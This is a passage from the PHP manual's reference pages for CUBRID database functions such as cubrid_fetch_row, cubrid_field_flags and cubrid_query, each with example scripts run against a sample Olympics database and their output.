Type can only be CUBRID_LOB, this parameter will be used only when you need to operate the lob object.

Return Values

Associative array, when process is successful.

FALSE, when there are no more rows; NULL, when process is unsuccessful.

Examples

Example #1 cubrid_fetch_assoc() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = cubrid_execute($conn, "SELECT name,area,seats,address FROM stadium WHERE nation_code='GRE' AND seats > 10000");

printf("%-40s %-10s %-6s %-20s\n", "name", "area", "seats", "address");
while ($row = cubrid_fetch_assoc($req)) {
    printf("%-40s %-10s %-6s %-20s\n",
        $row["name"], $row["area"], $row["seats"], $row["address"]);
}

// if you want to operate LOB object, you can use cubrid_fetch_assoc($req, CUBRID_LOB)

cubrid_close_request($req);

cubrid_disconnect($conn);
?>

The above example will output:

name                                     area       seats  address
Panathinaiko Stadium                     86300.00   50000  Athens, Greece
Olympic Stadium                          54700.00   13000  Athens, Greece
Olympic Indoor Hall                      34100.00   18800  Athens, Greece
Olympic Hall                             52400.00   21000  Athens, Greece
Olympic Aquatic Centre                   42500.00   11500  Athens, Greece
Markopoulo Olympic Equestrian Centre     64000.00   15000  Markopoulo, Athens, Greece
Faliro Coastal Zone Olympic Complex      34650.00   12171  Faliro, Athens, Greece
Athens Olympic Stadium                   120400.00  71030  Maroussi, Athens, Greece
Ano Liossia                              34000.00   12000  Ano Liosia, Athens, Greece

See Also

  • cubrid_execute() - Execute a prepared SQL statement
  • cubrid_fetch() - Fetch the next row from a result set
  • cubrid_fetch_row() - Return a numerical array with the values of the current row
  • cubrid_fetch_array() - Fetch a result row as an associative array, a numeric array, or both
  • cubrid_fetch_object() - Fetche the next row and returns it as an object

User Contributed Notes

There are no user contributed notes for this page.


Get column information from a result and return as an object

  • « cubrid_fetch_assoc
  • cubrid_fetch_lengths »
  • PHP Manual
  • CUBRID MySQL Compatibility Functions
  • Get column information from a result and return as an object

cubrid_fetch_field

(PECL CUBRID >= 8.3.1)

cubrid_fetch_field — Get column information from a result and return as an object

Description

object cubrid_fetch_field ( resource $result [, int $field_offset = 0 ] )

This function returns an object with certain properties of the specific column. The properties of the object are:

name

column name

table

name of the table that the column belongs to

def

default value of the column

max_length

maximum length of the column

not_null

1 if the column cannot be NULL

primary_key

1 if the column is a primary key

unique_key

1 if the column is an unique key

multiple_key

1 if the column is a non-unique key

numeric

1 if the column is numeric

blob

1 if the column is a BLOB

type

the type of the column

unsigned

1 if the column is unsigned

zerofill

1 if the column is zero-filled

Parameters

result

result comes from a call to cubrid_execute()

field_offset

The numerical field offset. If the field offset is not specified, the next field (that was not yet retrieved by this function) is retrieved. The field_offset starts at 0.

Return Values

Object with certain properties of the specific column, when process is successful.

FALSE on failure.

Examples

Example #1 cubrid_fetch_field() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = cubrid_execute($conn, "SELECT event_code,athlete_code,nation_code,game_date FROM game WHERE host_year=1988 and event_code=20001;");

var_dump(cubrid_fetch_row($req));

cubrid_field_seek($req, 1);
$field = cubrid_fetch_field($req);

printf("\n--- Field Properties ---\n");
printf("%-30s %s\n", "name:", $field->name);
printf("%-30s %s\n", "table:", $field->table);
printf("%-30s \"%s\"\n", "default value:", $field->def);
printf("%-30s %d\n", "max length:", $field->max_length);
printf("%-30s %d\n", "not null:", $field->not_null);
printf("%-30s %d\n", "primary key:", $field->primary_key);
printf("%-30s %d\n", "unique key:", $field->unique_key);
printf("%-30s %d\n", "multiple key:", $field->multiple_key);
printf("%-30s %d\n", "numeric:", $field->numeric);
printf("%-30s %d\n", "blob:", $field->blob);
printf("%-30s %s\n", "type:", $field->type);
printf("%-30s %d\n", "unsigned:", $field->unsigned);
printf("%-30s %d\n", "zerofill:", $field->zerofill);

cubrid_close_request($req);

cubrid_disconnect($conn);
?>

The above example will output:

array(4) {
  [0]=>
  string(5) "20001"
  [1]=>
  string(5) "16681"
  [2]=>
  string(3) "KOR"
  [3]=>
  string(9) "1988-9-30"
}

--- Field Properties ---
name:                          athlete_code
table:                         game
default value:                 ""
max length:                    0
not null:                      1
primary key:                   1
unique key:                    1
multiple key:                  0
numeric:                       1
blob:                          0
type:                          integer
unsigned:                      0
zerofill:                      0

User Contributed Notes

There are no user contributed notes for this page.


Return an array with the lengths of the values of each field from the current row

  • « cubrid_fetch_field
  • cubrid_fetch_object »
  • PHP Manual
  • CUBRID MySQL Compatibility Functions
  • Return an array with the lengths of the values of each field from the current row

cubrid_fetch_lengths

(PECL CUBRID >= 8.3.0)

cubrid_fetch_lengths — Return an array with the lengths of the values of each field from the current row

Description

array cubrid_fetch_lengths ( resource $result )

This function returns an numeric array with the lengths of the values of each field from the current row of the result set or it returns FALSE on failure.

Note:

If field data type is BLOB/CLOB, you should get its length by using cubrid_lob_size().

Parameters

result

result comes from a call to cubrid_execute()

Return Values

An numeric array, when process is successful.

FALSE on failure.

Examples

Example #1 cubrid_fetch_lengths() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$result = cubrid_execute($conn, "SELECT * FROM game WHERE host_year=2004 AND nation_code='AUS' AND medal='G'");

$row = cubrid_fetch_row($result);
print_r($row);

$lens = cubrid_fetch_lengths($result);
print_r($lens);

cubrid_disconnect($conn);
?>

The above example will output:

Array
(
    [0] => 2004
    [1] => 20085
    [2] => 15118
    [3] => 30134
    [4] => AUS
    [5] => G
    [6] => 2004-8-20
)
Array
(
    [0] => 4
    [1] => 5
    [2] => 5
    [3] => 5
    [4] => 3
    [5] => 1
    [6] => 10
)

User Contributed Notes

There are no user contributed notes for this page.


Fetche the next row and returns it as an object

  • « cubrid_fetch_lengths
  • cubrid_fetch_row »
  • PHP Manual
  • CUBRID MySQL Compatibility Functions
  • Fetche the next row and returns it as an object

cubrid_fetch_object

(PECL CUBRID >= 8.3.0)

cubrid_fetch_object — Fetche the next row and returns it as an object

Description

object cubrid_fetch_object ( resource $result [, string $class_name [, array $params [, int $type ]]] )

This function returns an object with the column names of the result set as properties. The values of these properties are extracted from the current row of the result.

Parameters

result

result comes from a call to cubrid_execute()

class_name

The name of the class to instantiate. If not specified, a stdClass (stdClass is PHP's generic empty class that's used when casting other types to objects) object is returned.

params

An optional array of parameters to pass to the constructor for class_name objects.

type

Type can only be CUBRID_LOB, this parameter will be used only when you need to operate the lob object.

Return Values

An object, when process is successful.

FALSE, when there are no more rows; NULL, when process is unsuccessful.

Examples

Example #1 cubrid_fetch_object() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$res = cubrid_execute($conn, "SELECT * FROM code");

var_dump(cubrid_fetch_object($res));

// if you want to operate LOB object, you can use cubrid_fetch_object($res, CUBRID_LOB)

class demodb_code {
    public $s_name = null;
    public $f_name = null;

    public function toString() {
        var_dump($this);
    }
}

var_dump(cubrid_fetch_object($res, "demodb_code"));

// if you want to operate LOB object, you can use cubrid_fetch_object($res, "demodb_code", CUBRID_LOB)

class demodb_code_construct extends demodb_code {
    public function __construct($s, $f) {
        $this->s_name = $s;
        $this->f_name = $f;
    }
}

var_dump(cubrid_fetch_object($res, 'demodb_code_construct', array('s_name', 'f_name')));

// if you want to operate LOB object, you can use cubrid_fetch_object($res, 'demodb_code_construct', array('s_name', 'f_name'), CUBRID_LOB)

var_dump(cubrid_fetch_object($res));

cubrid_close_request($res);
cubrid_disconnect($conn);
?>

The above example will output:

object(stdClass)#1 (2) {
  ["s_name"]=>
  string(1) "X"
  ["f_name"]=>
  string(5) "Mixed"
}
object(demodb_code)#1 (2) {
  ["s_name"]=>
  string(1) "W"
  ["f_name"]=>
  string(5) "Woman"
}
object(demodb_code_construct)#1 (2) {
  ["s_name"]=>
  string(6) "s_name"
  ["f_name"]=>
  string(6) "f_name"
}
object(stdClass)#1 (2) {
  ["s_name"]=>
  string(1) "B"
  ["f_name"]=>
  string(6) "Bronze"
}

See Also

  • cubrid_execute() - Execute a prepared SQL statement
  • cubrid_fetch() - Fetch the next row from a result set
  • cubrid_fetch_array() - Fetch a result row as an associative array, a numeric array, or both
  • cubrid_fetch_assoc() - Return the associative array that corresponds to the fetched row
  • cubrid_fetch_row() - Return a numerical array with the values of the current row

User Contributed Notes

There are no user contributed notes for this page.


Return a numerical array with the values of the current row

  • « cubrid_fetch_object
  • cubrid_field_flags »
  • PHP Manual
  • CUBRID MySQL Compatibility Functions
  • Return a numerical array with the values of the current row

cubrid_fetch_row

(PECL CUBRID >= 8.3.0)

cubrid_fetch_row — Return a numerical array with the values of the current row

Description

array cubrid_fetch_row ( resource $result [, int $type ] )

This function returns a numerical array with the values of the current row from the result set, starting from 0, and moves the internal data pointer ahead.

Parameters

result

result comes from a call to cubrid_execute()

type

Type can only be CUBRID_LOB, this parameter will be used only when you need to operate the lob object.

Return Values

A numerical array, when process is successful.

FALSE, when there are no more rows; NULL, when process is unsuccessful.

Examples

Example #1 cubrid_fetch_row() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = cubrid_execute($conn, "SELECT name,area,seats,address FROM stadium WHERE nation_code='GRE' AND seats > 10000");

printf("%-40s %-10s %-6s %-20s\n", "name", "area", "seats", "address");
while ($row = cubrid_fetch_row($req)) {
    printf("%-40s %-10s %-6s %-20s\n", $row[0], $row[1], $row[2], $row[3]);
}

// if you want to operate LOB object, you can use cubrid_fetch_row($req, CUBRID_LOB)

cubrid_close_request($req);

cubrid_disconnect($conn);
?>

The above example will output:

name                                     area       seats  address
Panathinaiko Stadium                     86300.00   50000  Athens, Greece
Olympic Stadium                          54700.00   13000  Athens, Greece
Olympic Indoor Hall                      34100.00   18800  Athens, Greece
Olympic Hall                             52400.00   21000  Athens, Greece
Olympic Aquatic Centre                   42500.00   11500  Athens, Greece
Markopoulo Olympic Equestrian Centre     64000.00   15000  Markopoulo, Athens, Greece
Faliro Coastal Zone Olympic Complex      34650.00   12171  Faliro, Athens, Greece
Athens Olympic Stadium                   120400.00  71030  Maroussi, Athens, Greece
Ano Liossia                              34000.00   12000  Ano Liosia, Athens, Greece

See Also

  • cubrid_execute() - Execute a prepared SQL statement
  • cubrid_fetch() - Fetch the next row from a result set
  • cubrid_fetch_array() - Fetch a result row as an associative array, a numeric array, or both
  • cubrid_fetch_assoc() - Return the associative array that corresponds to the fetched row
  • cubrid_fetch_object() - Fetche the next row and returns it as an object

User Contributed Notes

There are no user contributed notes for this page.


Return a string with the flags of the given field offset

  • « cubrid_fetch_row
  • cubrid_field_len »
  • PHP Manual
  • CUBRID MySQL Compatibility Functions
  • Return a string with the flags of the given field offset

cubrid_field_flags

(PECL CUBRID >= 8.3.0)

cubrid_field_flags — Return a string with the flags of the given field offset

Description

string cubrid_field_flags ( resource $result , int $field_offset )

This function returns a string with the flags of the given field offset separated by space. You can split the returned value using explode. The possible flags could be: not_null, primary_key, unique_key, foreign_key, auto_increment, shared, reverse_index, reverse_unique and timestamp.

Parameters

result

result comes from a call to cubrid_execute()

field_offset

The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued.

Return Values

A string with flags, when process is successful.

FALSE when invalid field_offset value.

-1 if SQL sentence is not SELECT.

Examples

Example #1 cubrid_field_flags() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$result = cubrid_execute($conn, "SELECT * FROM game WHERE host_year=2004 AND nation_code='AUS' AND medal='G'");

$col_num = cubrid_num_cols($result);

printf("%-30s %s\n", "Field Name", "Field Flags");
for($i = 0; $i < $col_num; $i++) {
    printf("%-30s %s\n", cubrid_field_name($result, $i), cubrid_field_flags($result, $i));
}

cubrid_disconnect($conn);
?>

The above example will output:

Field Name                     Field Flags
host_year                      not_null primary_key unique_key
event_code                     not_null primary_key unique_key foreign_key
athlete_code                   not_null primary_key unique_key foreign_key
stadium_code                   not_null
nation_code
medal
game_date

User Contributed Notes

There are no user contributed notes for this page.


Get the maximum length of the specified field

  • « cubrid_field_flags
  • cubrid_field_name »
  • PHP Manual
  • CUBRID MySQL Compatibility Functions
  • Get the maximum length of the specified field

cubrid_field_len

(PECL CUBRID >= 8.3.0)

cubrid_field_len — Get the maximum length of the specified field

Description

int cubrid_field_len ( resource $result , int $field_offset )

This function returns the maximum length of the specified field on success, or it returns FALSE on failure.

Parameters

result

result comes from a call to cubrid_execute()

field_offset

The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued.

Return Values

Maximum length, when process is successful.

FALSE on failure.

Examples

Example #1 cubrid_field_len() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$result = cubrid_execute($conn, "SELECT * FROM game WHERE host_year=2004 AND nation_code='AUS' AND medal='G'");

$column_names = cubrid_column_names($result);
$column_types = cubrid_column_types($result);

printf("%-30s %-30s %-15s\n", "Column Names", "Column Types", "Column Maxlen");
for($i = 0, $size = count($column_names); $i < $size; $i++) {
    $column_len = cubrid_field_len($result, $i);
    printf("%-30s %-30s %-15s\n", $column_names[$i], $column_types[$i], $column_len);
}

cubrid_disconnect($conn);
?>

The above example will output:

Column Names                   Column Types                   Column Maxlen
host_year                      integer                        11
event_code                     integer                        11
athlete_code                   integer                        11
stadium_code                   integer                        11
nation_code                    char                           3
medal                          char                           1
game_date                      date                           10

User Contributed Notes

There are no user contributed notes for this page.


Return the name of the specified field index

  • « cubrid_field_len
  • cubrid_field_seek »
  • PHP Manual
  • CUBRID MySQL Compatibility Functions
  • Return the name of the specified field index

cubrid_field_name

(PECL CUBRID >= 8.3.0)

cubrid_field_name — Return the name of the specified field index

Description

string cubrid_field_name ( resource $result , int $field_offset )

This function returns the name of the specified field index on success or it returns FALSE on failure.

Parameters

result

result comes from a call to cubrid_execute()

field_offset

The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued.

Return Values

Name of specified field index, on success.

FALSE on failure.

Examples

Example #1 cubrid_field_name() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$result = cubrid_execute($conn, "SELECT * FROM game WHERE host_year=2004 AND nation_code='AUS' AND medal='G'");

$col_num = cubrid_num_cols($result);

printf("%-30s %s\n", "Field Name", "Field Flags");
for($i = 0; $i < $col_num; $i++) {
    printf("%-30s %s\n", cubrid_field_name($result, $i), cubrid_field_flags($result, $i));
}

cubrid_disconnect($conn);
?>

The above example will output:

Field Name                     Field Flags
host_year                      not_null primary_key unique_key
event_code                     not_null primary_key unique_key foreign_key
athlete_code                   not_null primary_key unique_key foreign_key
stadium_code                   not_null
nation_code
medal
game_date

User Contributed Notes

There are no user contributed notes for this page.


Move the result set cursor to the specified field offset

  • « cubrid_field_name
  • cubrid_field_table »
  • PHP Manual
  • CUBRID MySQL Compatibility Functions
  • Move the result set cursor to the specified field offset

cubrid_field_seek

(PECL CUBRID >= 8.3.0)

cubrid_field_seek — Move the result set cursor to the specified field offset

Description

bool cubrid_field_seek ( resource $result [, int $field_offset = 0 ] )

This function moves the result set cursor to the specified field offset. This offset is used by cubrid_fetch_field() if it doesn't include a field offset. It returns TRUE on success or FALSE on failure.

Parameters

result

result comes from a call to cubrid_execute()

field_offset

The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued.

Return Values

TRUE on success.

FALSE on failure.

Examples

Example #1 cubrid_field_seek() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = cubrid_execute($conn, "SELECT event_code,athlete_code,nation_code,game_date FROM game WHERE host_year=1988 and event_code=20001;");

var_dump(cubrid_fetch_row($req));

cubrid_field_seek($req, 1);
$field = cubrid_fetch_field($req);

printf("\n--- Field Properties ---\n");
printf("%-30s %s\n", "name:", $field->name);
printf("%-30s %s\n", "table:", $field->table);
printf("%-30s \"%s\"\n", "default value:", $field->def);
printf("%-30s %d\n", "max length:", $field->max_length);
printf("%-30s %d\n", "not null:", $field->not_null);
printf("%-30s %d\n", "unique key:", $field->unique_key);
printf("%-30s %d\n", "multiple key:", $field->multiple_key);
printf("%-30s %d\n", "numeric:", $field->numeric);
printf("%-30s %s\n", "type:", $field->type);

cubrid_close_request($req);

cubrid_disconnect($conn);
?>

The above example will output:

array(4) {
  [0]=>
  string(5) "20001"
  [1]=>
  string(5) "16132"
  [2]=>
  string(3) "KOR"
  [3]=>
  string(9) "1988-09-30"
}

--- Field Properties ---
name:                          athlete_code
table:                         game
default value:                 ""
max length:                    0
not null:                      1
unique key:                    1
multiple key:                  0
numeric:                       1
type:                          integer

User Contributed Notes

There are no user contributed notes for this page.


Return the name of the table of the specified field

  • « cubrid_field_seek
  • cubrid_field_type »
  • PHP Manual
  • CUBRID MySQL Compatibility Functions
  • Return the name of the table of the specified field

cubrid_field_table

(PECL CUBRID >= 8.3.0)

cubrid_field_table — Return the name of the table of the specified field

Description

string cubrid_field_table ( resource $result , int $field_offset )

This function returns the name of the table of the specified field. This is useful when using large select queries with JOINS.

Parameters

result

Array type of the fetched result CUBRID_NUM, CUBRID_ASSOC, CUBRID_BOTH.

field_offset

The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued.

Return Values

Name of the table of the specified field, on success.

FALSE when invalid field_offset value.

-1 if SQL sentence is not SELECT.

Examples

Example #1 cubrid_field_table() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$result = cubrid_execute($conn, "SELECT * FROM code");

$col_num = cubrid_num_cols($result);

printf("%-15s %-15s %s\n", "Field Table", "Field Name", "Field Type");
for($i = 0; $i < $col_num; $i++) {
    printf("%-15s %-15s %s\n",
        cubrid_field_table($result, $i), cubrid_field_name($result, $i), cubrid_field_type($result, $i));
}

cubrid_disconnect($conn);
?>

The above example will output:

Field Table     Field Name      Field Type
code            s_name          char
code            f_name          varchar

User Contributed Notes

There are no user contributed notes for this page.


Return the type of the column corresponding to the given field offset

  • « cubrid_field_table
  • cubrid_list_dbs »
  • PHP Manual
  • CUBRID MySQL Compatibility Functions
  • Return the type of the column corresponding to the given field offset

cubrid_field_type

(PECL CUBRID >= 8.3.0)

cubrid_field_type — Return the type of the column corresponding to the given field offset

Description

string cubrid_field_type ( resource $result , int $field_offset )

This function returns the type of the column corresponding to the given field offset. The returned field type could be one of the following: "int", "real", "string", etc.

Parameters

result

Array type of the fetched result CUBRID_NUM, CUBRID_ASSOC, CUBRID_BOTH.

field_offset

The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued.

Return Values

Type of the column, on success.

FALSE when invalid field_offset value.

-1 if SQL sentence is not SELECT.

Examples

Example #1 cubrid_field_type() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$result = cubrid_execute($conn, "SELECT * FROM code");

$col_num = cubrid_num_cols($result);

printf("%-15s %-15s %s\n", "Field Table", "Field Name", "Field Type");
for($i = 0; $i < $col_num; $i++) {
    printf("%-15s %-15s %s\n",
        cubrid_field_table($result, $i), cubrid_field_name($result, $i), cubrid_field_type($result, $i));
}

cubrid_disconnect($conn);
?>

The above example will output:

Field Table     Field Name      Field Type
code            s_name          char
code            f_name          varchar

User Contributed Notes

There are no user contributed notes for this page.


Return an array with the list of all existing CUBRID databases

  • « cubrid_field_type
  • cubrid_num_fields »
  • PHP Manual
  • CUBRID MySQL Compatibility Functions
  • Return an array with the list of all existing CUBRID databases

cubrid_list_dbs

(PECL CUBRID >= 8.3.0)

cubrid_list_dbs — Return an array with the list of all existing CUBRID databases

Description

array cubrid_list_dbs ([ resource $conn_identifier ] )

This function returns an array with the list of all existing Cubrid databases.

Parameters

conn_identifier

The CUBRID connection.

Return Values

An numeric array with all existing Cubrid databases; on success.

FALSE on failure.

Examples

Example #1 cubrid_list_dbs() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$db_list = cubrid_list_dbs($conn);
var_dump($db_list);

cubrid_disconnect($conn);
?>

The above example will output:

array(1) {
  [0]=>
  string(6) "demodb"
}

User Contributed Notes

There are no user contributed notes for this page.


Return the number of columns in the result set

  • « cubrid_list_dbs
  • cubrid_ping »
  • PHP Manual
  • CUBRID MySQL Compatibility Functions
  • Return the number of columns in the result set

cubrid_num_fields

(PECL CUBRID >= 8.3.0)

cubrid_num_fields — Return the number of columns in the result set

Description

int cubrid_num_fields ( resource $result )

This function returns the number of columns in the result set, on success, or it returns FALSE on failure.

Parameters

result

result comes from a call to cubrid_execute(), cubrid_query() and cubrid_prepare()

Return Values

Number of columns, on success.

-1 if SQL sentence is not SELECT.

FALSE when process is unsuccessful.

Examples

Example #1 cubrid_num_fields() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$req = cubrid_execute($conn, "SELECT * FROM code");

$row_num = cubrid_num_rows($req);
$col_num = cubrid_num_fields($req);

printf("Row Num: %d\nColumn Num: %d\n", $row_num, $col_num);

cubrid_disconnect($conn);
?>

The above example will output:

Row Num: 6
Column Num: 2

User Contributed Notes

There are no user contributed notes for this page.


Ping a server connection or reconnect if there is no connection

  • « cubrid_num_fields
  • cubrid_query »
  • PHP Manual
  • CUBRID MySQL Compatibility Functions
  • Ping a server connection or reconnect if there is no connection

cubrid_ping

(PECL CUBRID >= 8.3.1)

cubrid_ping — Ping a server connection or reconnect if there is no connection

Description

bool cubrid_ping ([ resource $conn_identifier ] )

Checks whether or not the connection to the server is working.

Parameters

conn_identifier

The CUBRID connection identifier. If the connection identifier is not specified, the last connection opened by cubrid_connect() is assumed.

Return Values

Returns TRUE if the connection to the server CUBRID server is working, otherwise FALSE.

Examples

Example #1 cubrid_ping() example

<?php
set_time_limit(0);

$conn = cubrid_connect('localhost', 33000, 'demodb');

/* Assuming this query will take a long time */
$sql = "select * from athlete";
$result = cubrid_query($sql);
if (!$result) {
    echo 'Query #1 failed, exiting.';
    exit;
}

/* Make sure the connection is still alive, if not, try to reconnect */
if (!cubrid_ping($conn)) {
    echo 'Lost connection, exiting after query #1';
    exit;
}
cubrid_free_result($result);

/* So the connection is still alive, let's run another query */
$sql2 = "select * from code";
$result2 = cubrid_query($sql2);
?>

User Contributed Notes

There are no user contributed notes for this page.


Send a CUBRID query

  • « cubrid_ping
  • cubrid_real_escape_string »
  • PHP Manual
  • CUBRID MySQL Compatibility Functions
  • Send a CUBRID query

cubrid_query

(PECL CUBRID >= 8.3.1)

cubrid_query — Send a CUBRID query

Description

resource cubrid_query ( string $query [, resource $conn_identifier ] )

cubrid_query() sends a unique query (multiple queries are not supported) to the currently active database on the server that's associated with the specified conn_identifier.

Parameters

query

An SQL query

Data inside the query should be properly escaped.

conn_identifier

The CUBRID connection. If the connection identifier is not specified, the last connection opened by cubrid_connect() is assumed.

Return Values

For SELECT, SHOW, DESCRIBE, EXPLAIN and other statements returning resultset, cubrid_query() returns a resource on success, or FALSE on error.

For other type of SQL statements, INSERT, UPDATE, DELETE, DROP, etc, cubrid_query() returns TRUE on success or FALSE on error.

The returned result resource should be passed to cubrid_fetch_array(), and other functions for dealing with result tables, to access the returned data.

Use cubrid_num_rows() to find out how many rows were returned for a SELECT statement or cubrid_affected_rows() to find out how many rows were affected by a DELETE, INSERT, REPLACE, or UPDATE statement.

cubrid_query() will also fail and return FALSE if the user does not have permission to access the table(s) referenced by the query.

Examples

Example #1 Invalid Query

The following query is syntactically invalid, so cubrid_query() fails and returns FALSE.

<?php
$conn = cubrid_connect('localhost', 33000, 'demodb');

$result = cubrid_query('SELECT * WHERE 1=1');
if (!$result) {
    die('Invalid query: ' . cubrid_error());
}

?>

Example #2 Valid Query

The following query is valid, so cubrid_query() returns a resource.

<?php
// This could be supplied by a user, for example
$firstname = 'fred';
$lastname  = 'fox';

$conn = cubrid_connect('localhost', 33000, 'demodb');

cubrid_execute($conn,"DROP TABLE if exists friends");
cubrid_execute($conn,"create table friends(firstname varchar,lastname varchar,address char(24),age int)");
cubrid_execute($conn,"insert into friends values('fred','fox','home-1','20')");
cubrid_execute($conn,"insert into friends values('blue','cat','home-2','21')");
// Formulate Query
// This is the best way to perform an SQL query
// For more examples, see cubrid_real_escape_string()
$query = sprintf("SELECT firstname, lastname, address, age FROM friends WHERE firstname='%s' AND lastname='%s'",
cubrid_real_escape_string($firstname),
cubrid_real_escape_string($lastname));

// Perform Query
$result = cubrid_query($query);

// Check result
// This shows the actual query sent to CUBRID, and the error. Useful for debugging.
if (!$result) {
    $message  = 'Invalid query: ' . cubrid_error() . "\n";
    $message .= 'Whole query: ' . $query;
    die($message);
}

// Use result
// Attempting to print $result won't allow access to information in the resource
// One of the cubrid result functions must be used
// See also cubrid_result(), cubrid_fetch_array(), cubrid_fetch_row(), etc.
while ($row = cubrid_fetch_assoc($result)) {
    echo $row['firstname'];
    echo $row['lastname'];
    echo $row['address'];
    echo $row['age'];
}

// Free the resources associated with the result set
// This is done automatically at the end of the script
cubrid_free_result($result);
?>

See Also

  • cubrid_connect() - Open a connection to a CUBRID Server
  • cubrid_error() - Get the error message
  • cubrid_real_escape_string() - Escape special characters in a string for use in an SQL statement
  • cubrid_result() - Return the value of a specific field in a specific row
  • cubrid_fetch_assoc() - Return the associative array that corresponds to the fetched row
  • cubrid_unbuffered_query() - Perform a query without fetching the results into memory

User Contributed Notes

There are no user contributed notes for this page.


Escape special characters in a string for use in an SQL statement

  • « cubrid_query
  • cubrid_result »
  • PHP Manual
  • CUBRID MySQL Compatibility Functions
  • Escape special characters in a string for use in an SQL statement

cubrid_real_escape_string

(PECL CUBRID >= 8.3.0)

cubrid_real_escape_string — Escape special characters in a string for use in an SQL statement

Description

string cubrid_real_escape_string ( string $unescaped_string [, resource $conn_identifier ] )

This function returns the escaped string version of the given string. It will escape the following characters: '. In general, single quotations are used to enclose character string. Double quotations may be used as well depending on the value of ansi_quotes, which is a parameter related to SQL statement. If the ansi_quotes value is set to no, character string enclosed by double quotations is handled as character string, not as an identifier. The default value is yes. If you want to include a single quote as part of a character string, enter two single quotes in a row.

Parameters

unescaped_string

The string that is to be escaped.

conn_identifier

The CUBRID connection. If the connection identifier is not specified, the last connection opened by cubrid_connect() is assumed.

Return Values

Escaped string version of the given string, on success.

FALSE on failure.

Examples

Example #1 cubrid_real_escape_string() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$unescaped_str = ' !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~';
$escaped_str = cubrid_real_escape_string($unescaped_str);

$len = strlen($unescaped_str);

@cubrid_execute($conn, "DROP TABLE cubrid_test");
cubrid_execute($conn, "CREATE TABLE cubrid_test (t char($len))");
cubrid_execute($conn, "INSERT INTO cubrid_test (t) VALUES('$escaped_str')");

$req = cubrid_execute($conn, "SELECT * FROM cubrid_test");
$row = cubrid_fetch_assoc($req);

var_dump($row);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

The above example will output:

array(1) {
  ["t"]=>
  string(95) " !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
}

User Contributed Notes

There are no user contributed notes for this page.


Return the value of a specific field in a specific row

  • « cubrid_real_escape_string
  • cubrid_unbuffered_query »
  • PHP Manual
  • CUBRID MySQL Compatibility Functions
  • Return the value of a specific field in a specific row

cubrid_result

(PECL CUBRID >= 8.3.0)

cubrid_result — Return the value of a specific field in a specific row

Description

string cubrid_result ( resource $result , int $row [, mixed $field = 0 ] )

This function returns the value of a specific field in a specific row from a result set.

Parameters

result

result comes from a call to cubrid_execute()

row

The row number from the result that is being retrieved. Row numbers start at 0.

field

The name or offset of the field being retrieved. It can be the field's offset, the field's name, or the field's table dot field name (tablename.fieldname). If the column name has been aliased ('select foo as bar from...'), use the alias instead of the column name. If undefined, the first field is retrieved.

Return Values

Value of a specific field, on success (NULL if value if null).

FALSE on failure.

Examples

Example #1 cubrid_result() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$req = cubrid_execute($conn, "SELECT * FROM code");

$result = cubrid_result($req, 0);
var_dump($result);

$result = cubrid_result($req, 0, 1);
var_dump($result);

$result = cubrid_result($req, 5, "f_name");
var_dump($result);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

The above example will output:

string(1) "X"
string(5) "Mixed"
string(4) "Gold"

User Contributed Notes

There are no user contributed notes for this page.


Perform a query without fetching the results into memory

  • « cubrid_result
  • CUBRID Obsolete Aliases and Functions »
  • PHP Manual
  • CUBRID MySQL Compatibility Functions
  • Perform a query without fetching the results into memory

cubrid_unbuffered_query

(PECL CUBRID >= 8.3.0)

cubrid_unbuffered_query — Perform a query without fetching the results into memory

Description

resource cubrid_unbuffered_query ( string $query [, resource $conn_identifier ] )

This function performs a query without waiting for that all query results have been complete. It will return when the results are being generated.

Parameters

query

A SQL query.

conn_identifier

The CUBRID connection. If the connection identifier is not specified, the last connection opened by cubrid_connect() is assumed.

Return Values

For SELECT, SHOW, DESCRIBE or EXPLAIN statements returns a request identifier resource on success.

For other type of SQL statements, UPDATE, DELETE, DROP, etc, returns TRUE on success.

FALSE on failure.

Notes

Note:

The benefits of cubrid_unbuffered_query() come at a cost: you cannot use cubrid_num_rows() and cubrid_data_seek() on a result set returned from cubrid_unbuffered_query().

Examples

Example #1 cubrid_unbuffered_query() example

<?php
    $link = cubrid_connect("localhost", 30000, "demodb", "dba", "");
    if (!$link)
    {
        die('Could not connect.');
    }
    $query = "select * from code";
    $result = cubrid_unbuffered_query($query, $link);

    while ($row = cubrid_fetch($result))
    {
        var_dump($row);
    }

    cubrid_close_request($result);
    cubrid_disconnect($link);
?>

User Contributed Notes

There are no user contributed notes for this page.


CUBRID Obsolete Aliases and Functions

Table of Contents

  • cubrid_load_from_glo — Read data from a GLO instance and save it in a file
  • cubrid_new_glo — Create a glo instance
  • cubrid_save_to_glo — Save requested file in a GLO instance
  • cubrid_send_glo — Read data from glo and send it to std output

User Contributed Notes

There are no user contributed notes for this page.


Read data from a GLO instance and save it in a file

  • « CUBRID Obsolete Aliases and Functions
